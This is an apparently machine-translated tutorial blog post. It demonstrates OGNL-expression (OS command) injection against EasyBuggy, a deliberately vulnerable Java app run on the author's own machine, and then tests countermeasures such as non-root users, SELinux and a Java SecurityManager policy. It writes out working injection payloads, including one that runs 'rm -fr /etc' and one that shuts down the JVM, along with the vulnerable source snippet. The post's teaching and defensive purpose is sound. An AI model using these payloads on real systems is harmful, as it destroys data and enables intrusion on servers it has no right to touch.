[JAVA] Let's attack the vulnerability (1) OS command injection (OGNL type injection)

Introduction

** The best way to understand a vulnerability is to actually attack it. ** **

However, let's find a potentially vulnerable site and attack it! I'm not saying that. It's a good idea to run vulnerable applications on your own virtual machine and try to attack them.

Many vulnerabilities have been implemented in the previously introduced Web application full of bugs. Download the web application from here and start it with the following command.

java -jar easybuggy.jar

This web application currently implements the following vulnerabilities:

--XSS (Cross-site scripting) --SQL injection --LDAP injection --Code injection --OS command injection --Email header injection --Null byte injection --File upload with no size limit --File upload with no extension restrictions --Open redirectable login screen --Brute force attackable login screen --Login screen that allows session fixation attacks --Too kind authentication error message --Dangerous file include --Pastraversal --Unintentional file disclosure --CSRF (Cross Site Request Forgery) --Clickjacking --XEE (XML Entity Extension) --XXE (XML External Entity)

This time, I would like to attack ** "OS command injection" ** (more accurately, "OGNL type injection") from this, and cause fatal damage to the server: smiley:

What is OS command injection?

OS command injection refers to an attack that executes an OS command on a server via a web application or the like.

oscmdinjct.png

For example, suppose a web application passes certain request parameters unverified as arguments to an OS command and executes them. It may not be a problem for general users because it is only used normally, but malicious users use a string such as "rm -fr /" with a delimiter such as "; " (semicolon). You may send the added parameters and delete all the files on the server.

Let's attack

Now let's attack the OS command injection vulnerability.

Download the web application from here (https://github.com/k-tamura/easybuggy/releases) and launch it with java -jar easybuggy.jar. This time, I am logged in to CentOS 6 with SELinux disabled as the root user who has the authority to execute commands.

* Version 1.3.2 is used in this article. Behavior may change in future releases.

Once started, access [http: // localhost: 8080](http: // localhost: 8080). There is a section labeled "Vulnerability" in the middle of the screen below.

main.png

Click on the "OS Command Injection" link, which is the fifth from the top.

When you click it, the following screen will be displayed.

ognl1.png

It's a simple function that lets you enter a formula and display the answer. You can use java.lang.Math for the formula.

First, try entering a simple formula such as 1 + 2 orMath.sqrt (5). You should get the correct answer. Then enter an invalid value as a formula such as ʻabc`. An error message is displayed.

err1.png

At first glance this feature seems to work fine.

However, as described inInfo.jpg at the bottom of the screen. Enter @ Runtime @ getRuntime (). exec ('rm -fr /your-important-dir/') in, and click the calculate button, the directory on the server (/ your-important-dir / ) Will be deleted.

* Note: `/ your-important-dir /` should be the absolute path to a directory on the server that you can delete, or before deleting it. Please make a backup. Also, on Windows, use the `rmdir / s / q` mand instead of the` rm -fr` command.

Let's actually try it. The target directory should be / etc. If you check the current directory structure under / with the ll ( ls -la) command, it will be as follows.

$ ll /
102 in total
dr-xr-xr-x.2 root root 4096 April 23 03:46 2017 bin
dr-xr-xr-x.5 root root 5120 April 26 21:53 2017 boot
drwxr-xr-x.20 root root 3820 June 1 22:57 2017 dev
drwxr-xr-x.119 root root 12288 June 1 22:57 2017 etc
drwxr-xr-x.4 root root 4096 April 2 00:41 2016 home
dr-xr-xr-x.11 root root 4096 April 19 21:20 2017 lib
dr-xr-xr-x.10 root root 12288 April 23 03:46 2017 lib64
drwx------.2 root root 16384 August 8 01:21 2015 lost+found
drwxr-xr-x.2 root root 4096 March 18 20:24 2017 media
drwxr-xr-x.4 root root 4096 November 15 18:00 2015 mnt
drwxr-xr-x.8 root root 4096 April 1 21:49 2017 opt
dr-xr-xr-x.277 root root 0 June 1 22:56 2017 proc
dr-xr-x---.78 root root 4096 June 2 07:39 2017 root
dr-xr-xr-x.2 root root 12288 April 20 03:27 2017 sbin
drwxr-xr-x.7 root root 0 June 1 22:56 2017 selinux
drwxr-xr-x.2 root root 4096 September 23 20:50 2011 srv
drwxr-xr-x 13 root root 0 June 1 22:56 2017 sys
drwxrwxrwx.3 root root 4096 June 2 07:41 2017 tmp
drwxr-xr-x.14 root root 4096 September 23 08:32 2016 usr
drwxr-xr-x.23 root root 4096 October 5 17:12 2016 var

Make a backup before running.

$ cp -pr /etc etc_bk

Enter @ Runtime @ getRuntime (). exec ('rm -fr / etc') and click the Calculate button.

rmetc1.png

Then run the ll command again.

$ ll /
90 in total
dr-xr-xr-x.2 0 0 4096 April 22 18:46 2017 bin
dr-xr-xr-x.5 0 0 5120 April 26 12:53 2017 boot
drwxr-xr-x.20 0 0 3820 June 1 13:57 2017 dev
drwxr-xr-x.4 0 0 4096 April 1 15:41 2016 home
dr-xr-xr-x.11 0 0 4096 April 19 12:20 2017 lib
dr-xr-xr-x.10 0 0 12288 April 22 18:46 2017 lib64
drwx------.2 0 0 16384 August 7 16:21 2015 lost+found
drwxr-xr-x.2 0 0 4096 March 18 11:24 2017 media
drwxr-xr-x.4 0 0 4096 November 15 09:00 2015 mnt
drwxr-xr-x.8 0 0 4096 April 1 12:49 2017 opt
dr-xr-xr-x.296 0 0 0 June 1 13:56 2017 proc
dr-xr-x---.78 0 0 4096 June 9 14:09 2017 root
dr-xr-xr-x.2 0 0 12288 April 19 18:27 2017 sbin
drwxr-xr-x.7 0 0 0 June 1 13:56 2017 selinux
drwxr-xr-x.2 0 0 4096 September 23 11:50 2011 srv
drwxr-xr-x 13 0 0 0 June 1 13:56 2017 sys
drwxrwxrwx.8 0 0 4096 June 8 14:31 2017 tmp
drwxr-xr-x.14 0 0 4096 September 22 23:32 2016 usr
drwxr-xr-x.23 0 0 4096 October 5 08:12 2016 var

The directory / etc is gone. This is OS command injection. I deleted / etc here, but ** of course you can delete other directories, and you can use commands other than the rm command. Since you can manipulate OS commands, various attacks are possible. ** **

How Attackers Find Vulnerabilities

You might think, "But the attacker can't know the string that causes the problem (@ Runtime @ ...) ??" In this application, the attack method of the vulnerability is intentionally described on the screen, but of course there is no such thing in a normal application. How do attackers find vulnerabilities?

** Tips are in the error message. ** Error messages can also be a source of guesswork for an attacker's implementation of an application.

Let's display an error message with various kinds of invalid input values. For example, if you enter Math.sqrt (5x) on this screen and click the calculate button, you will see the following error:

sqrt5x.png

An English message follows "Illegal formula". If you have experience developing applications, you might guess that the error message returned by some library is concatenated as it is after "Illegal formula".

Next, let Math be the fully qualified class name, enterjava.lang.Math.sqrt (5)and click the calculate button.

javalangMathsqrt5.png

An error message was output indicating that "@" (at sign) that should not have been entered was entered. "@" Seems to have some meaning.

In addition, enter sqrt (5) without Math. and click the calculate button. You will see an error similar to the following:

sqrt5.png

This time, the keyword "ʻognl.OgnlContext`" that I did not enter appeared. Looking at this, if you are a knowledgeable person, you can guess that it is the technology called "** OGNL **" that realizes this function. OGNL is a library of expression languages with Java-like grammar.

Looking at OGNL Specifications, there is the following description.

Calling Static Methods You can call a static method using the syntax @class@method(args).

It seems that static method calls can be achieved with @ class @ method (args).

"That means ... inside the application, you might just replace Math. in the input value with @ Math @ and run it as an OGNL expression:" You can guess.

Math.sqrt (5) → Replace with @ Math @ sqrt (5) → Execute as OGNL expression

To see if this guess is correct, try typing @ System @ currentTimeMillis ().

@ System @ currentTimeMillis ()@ System @ currentTimeMillis () remains (not replaced) → Execute as OGNL expression

If correct, you should be able to get the elapsed time in milliseconds since midnight, January 1, 1970.

sct.png

As the results show, we can determine that the guess is likely to be correct.

At this point, you can imagine typing "@ System @ exit (0)" to shut down the web application process, or before that ...: sunglasses :.

What kind of implementation is it

What kind of implementation is it actually? Take a look at the Source Code (https://github.com/k-tamura/easybuggy/blob/master/src/main/java/org/t246osslab/easybuggy/vulnerabilities/OGNLExpressionInjectionServlet.java). The important parts are:

try {
    Object expr = Ognl.parseExpression(expression.replaceAll("Math\\.", "@Math@"));
    value = Ognl.getValue(expr, ctx);
} catch (OgnlException e) {
    isValid = false;
    if (e.getReason() != null) {
        errMessage = e.getReason().getMessage();
    }

As you can guess, I just replaced Math. with@ Math @and ran it as an OGNL expression.

By the way, the OS command injection was executed this time, but since Java code can also be executed, it can also be called "** code injection ". Furthermore, it can be said to be " OGNL type injection **" when classified in more detail.

About OGNL injection

OGNL-style injection was popularized by the well-known web application framework "** Struts 2 **". In March of this year, a vulnerability in OGNL injection was found in Struts 2, causing damage such as information leakage on multiple websites. It is rumored that a large number of fraudulent requests have been sent to Japanese servers from overseas. I've actually tried this vulnerability (in my local Struts app, of course), but it's ** a very easy and dangerous attack **.

It is this vulnerability that accounts for a significant proportion of all reported Struts 2 vulnerabilities. OGNL expressions are used in various parts of Struts 2, and regular expressions are used to check the validity of expressions so that OGNL expression injection does not occur in each part. However, even if a regular expression that addresses the vulnerability is released, an attack method with a new character string that bypasses it has been found, and the current situation is that it has not yet reached a fundamental solution.

Countermeasures for OS command / code injection

So what kind of measures should be taken? The following can be thought of as countermeasures.

--In the first place, we will not create a function that includes such a risk (rejected at the design stage) --Consider another implementation method --Do not return implementation-specific error messages to users --Perform a validation check of the input value --Run web application with appropriate user privileges (for example, Tomcat user privileges) --Protect with OS features (Unix chroot jail, AppArmor, SELinux, etc.) --Secure with JVM functionality (Security Manager)

Let's actually do some of these.

Run with appropriate user privileges

What if I'm running a web application other than the root user? Let's change to the tomcat user and check.

$ su tomcat

After launching the web application, type @ Runtime @ getRuntime (). exec ('rm -fr / etc') and click the Calculate button. No error was displayed. What happened?

$ ll /
102 in total
dr-xr-xr-x.2 root root 4096 April 23 03:46 2017 bin
dr-xr-xr-x.5 root root 5120 April 26 21:53 2017 boot
drwxr-xr-x.20 root root 3820 June 1 22:57 2017 dev
drwxr-xr-x.119 root root 12288 June 1 22:57 2017 etc
drwxr-xr-x.4 root root 4096 April 2 00:41 2016 home
dr-xr-xr-x.11 root root 4096 April 19 21:20 2017 lib
dr-xr-xr-x.10 root root 12288 April 23 03:46 2017 lib64
drwx------.2 root root 16384 August 8 01:21 2015 lost+found
drwxr-xr-x.2 root root 4096 March 18 20:24 2017 media
drwxr-xr-x.4 root root 4096 November 15 18:00 2015 mnt
drwxr-xr-x.8 root root 4096 April 1 21:49 2017 opt
dr-xr-xr-x.296 root root 0 June 1 22:56 2017 proc
dr-xr-x---.78 root root 4096 June 9 23:09 2017 root
dr-xr-xr-x.2 root root 12288 April 20 03:27 2017 sbin
drwxr-xr-x.7 root root 0 June 1 22:56 2017 selinux
drwxr-xr-x.2 root root 4096 September 23 20:50 2011 srv
drwxr-xr-x 13 root root 0 June 1 22:56 2017 sys
drwxrwxrwx.8 root root 4096 June 9 23:11 2017 tmp
drwxr-xr-x.14 root root 4096 September 23 08:32 2016 usr
drwxr-xr-x.23 root root 4096 October 5 17:12 2016 var

As you can see, / etc has not been deleted. That said, commands that can be executed by the user running the web application (such as rm -fr / home / tomcat / anydir) can also be executed by this attack. However, that alone can be said to be a fairly effective measure.

Protect with OS functions (SELinux)

If SELinux is enabled, will it suppress OS command injection? Change to the root user again to enable SELinux.

$ vi /etc/selinux/config
# SELINUX=disabled
SELINUX=enforcing

After making changes, restart CentOS. After launching the web application, type @ Runtime @ getRuntime (). exec ('rm -fr / etc') and click the Calculate button.

$ ll /
90 in total
dr-xr-xr-x.2 0 0 4096 April 22 18:46 2017 bin
dr-xr-xr-x.5 0 0 5120 April 26 12:53 2017 boot
drwxr-xr-x.20 0 0 3820 June 1 13:57 2017 dev
drwxr-xr-x.4 0 0 4096 April 1 15:41 2016 home
dr-xr-xr-x.11 0 0 4096 April 19 12:20 2017 lib
dr-xr-xr-x.10 0 0 12288 April 22 18:46 2017 lib64
drwx------.2 0 0 16384 August 7 16:21 2015 lost+found
drwxr-xr-x.2 0 0 4096 March 18 11:24 2017 media
drwxr-xr-x.4 0 0 4096 November 15 09:00 2015 mnt
drwxr-xr-x.8 0 0 4096 April 1 12:49 2017 opt
dr-xr-xr-x.296 0 0 0 June 1 13:56 2017 proc
dr-xr-x---.78 0 0 4096 June 9 14:09 2017 root
dr-xr-xr-x.2 0 0 12288 April 19 18:27 2017 sbin
drwxr-xr-x.7 0 0 0 June 1 13:56 2017 selinux
drwxr-xr-x.2 0 0 4096 September 23 11:50 2011 srv
drwxr-xr-x 13 0 0 0 June 1 13:56 2017 sys
drwxrwxrwx.8 0 0 4096 June 8 14:31 2017 tmp
drwxr-xr-x.14 0 0 4096 September 22 23:32 2016 usr
drwxr-xr-x.23 0 0 4096 October 5 08:12 2016 var

It's gone ... It doesn't seem to protect anything other than SELinux's default directories (eg / selinux). At least when SELinux, which is the default setting, is enabled, it seems that OS command injection has no effect.

Protect with JVM functionality (Security Manager)

Java has a feature called "** Security Manager **" that protects the operation of the JVM from malicious users. What if I had this enabled?

To enable SecurityManager, add the following to the options when starting easybuggy.jar.

-Djava.security.manager -Djava.security.policy=catalina.policy
* When starting EasyBuggy with the `mvn` command, uncomment the following line in pom.xml.
<!-- <argument>-Djava.security.manager</argument>
<argument>-Djava.security.policy=catalina.policy</argument> -->

Download catalina.policy from here. This file does not prevent OS command injection by default, but you can prevent it by making the following modifications.

**-For Linux (CentOS 6.3) **

grant {
    //Do not allow all operations on all files, only what you need
    // permission java.io.FilePermission "<<ALL FILES>>", "write, read, execute, delete";
    permission java.io.FilePermission "-", "write, read, execute, delete";
    permission java.io.FilePermission "/usr/java/-", "write, read, execute";
    permission java.io.FilePermission "/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.79.x86_64/-", "write, read, execute";
・ ・ ・

** For Windows **

grant {
    //Do not allow all operations on all files, only what you need
    // permission java.io.FilePermission "<<ALL FILES>>", "write, read, execute, delete";
    permission java.io.FilePermission "-", "write, read, execute, delete";
    permission java.io.FilePermission "C:/Program Files/Java/-", "write, read, execute";
    permission java.io.FilePermission "C:/Windows/Sun/Java/-", "write, read, execute";
・ ・ ・

(* Settings vary depending on the environment)

When the changes are complete, launch the web application with the option to enable Security Manager. Then type @ Runtime @ getRuntime (). exec ('rm -fr / etc') and click the Calculate button.

smrmetc.png

OS command injection failed due to SecurityManager.

$ ll /
102 in total
dr-xr-xr-x.2 root root 4096 April 23 03:46 2017 bin
dr-xr-xr-x.5 root root 5120 April 26 21:53 2017 boot
drwxr-xr-x.20 root root 3820 June 1 22:57 2017 dev
drwxr-xr-x.119 root root 12288 June 1 22:57 2017 etc
drwxr-xr-x.4 root root 4096 April 2 00:41 2016 home
dr-xr-xr-x.11 root root 4096 April 19 21:20 2017 lib
dr-xr-xr-x.10 root root 12288 April 23 03:46 2017 lib64
drwx------.2 root root 16384 August 8 01:21 2015 lost+found
drwxr-xr-x.2 root root 4096 March 18 20:24 2017 media
drwxr-xr-x.4 root root 4096 November 15 18:00 2015 mnt
drwxr-xr-x.8 root root 4096 April 1 21:49 2017 opt
dr-xr-xr-x.296 root root 0 June 1 22:56 2017 proc
dr-xr-x---.78 root root 4096 June 9 23:09 2017 root
dr-xr-xr-x.2 root root 12288 April 20 03:27 2017 sbin
drwxr-xr-x.7 root root 0 June 1 22:56 2017 selinux
drwxr-xr-x.2 root root 4096 September 23 20:50 2011 srv
drwxr-xr-x 13 root root 0 June 1 22:56 2017 sys
drwxrwxrwx.8 root root 4096 June 9 23:11 2017 tmp
drwxr-xr-x.14 root root 4096 September 23 08:32 2016 usr
drwxr-xr-x.23 root root 4096 October 5 17:12 2016 var

You can also deny System.exit (n) by commenting out the line following catalina.policy.

permission java.lang.RuntimePermission "exitVM";

After commenting out and restarting EasyBuggy, type @ System @ exit (0) and click the Calculate button.

exitvm.png

In this way, you can also prevent the JVM from shutting down. SecurityManager is not intuitively easy to understand, so you have to understand it well and use it, but it can be said to be an effective countermeasure for OS command injection and code injection.

reference

-JVN iPedia Vulnerability Storm Information Database OS Command Injection